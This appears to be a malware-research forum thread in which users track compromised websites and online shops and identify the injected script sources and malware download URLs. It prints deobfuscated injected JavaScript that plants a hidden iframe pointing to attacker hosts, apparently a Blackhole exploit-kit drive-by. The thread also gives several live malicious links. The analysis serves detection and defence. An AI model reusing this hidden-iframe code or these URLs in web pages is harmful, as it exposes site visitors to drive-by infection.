[Xylitol]

I've found a related malware
hxxp://b48.4dq.com/d/r.exe



it drop hack tool and start it

[markusg]

looks like they have new injected:
script src=http://adorabletots.co.uk/tmp/js.php
found this in an shop im watching. at the beginning it was infected with the stuff we talked at the beginning, now it is this.
google search brings 370 results at this moment.

[EP_X0FF]

looks like they have new injected:
script src=http://adorabletots.co.uk/tmp/js.php
found this in an shop im watching. at the beginning it was infected with the stuff we talked at the beginning, now it is this.
google search brings 370 results at this moment.

Well, there also obfuscated iframe, but hxxp://solnechnozdes.ru/iframe.php?id=0xxnnc3e8793z0nevu1f4o36ncdvg34 is down for me.
Likely another Blackhole.

[syntax="javascript"]if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='hxxp://solnechnozdes.ru/iframe.php?id=0xxnnc3e8793z0nevu1f4o36ncdvg34' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'hxxp://solnechnozdes.ru/iframe.php?id=0xxnnc3e8793z0nevu1f4o36ncdvg34');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}[/syntax]

[markusg]

what about this:

Code: Select all

http://lamacom.net/images/j/

Code: Select all

http://www.nordic-austria.at/shop/index.php

[EP_X0FF]

what about this:

Code: Select all

http://lamacom.net/images/j/

obfuscated iframe

[syntax="javascript"]if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'hxxp://mariko10.in/iframe.php?id=0xxnnc3e8793z0nevu1f4o36ncdvg34');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}[/syntax]

Currently hxxp://mariko10.in/iframe.php?id=0xxnnc3e8793z0nevu1f4o36ncdvg34 for me leads to nothing. Likely target is Blackhole probably with SpyEye.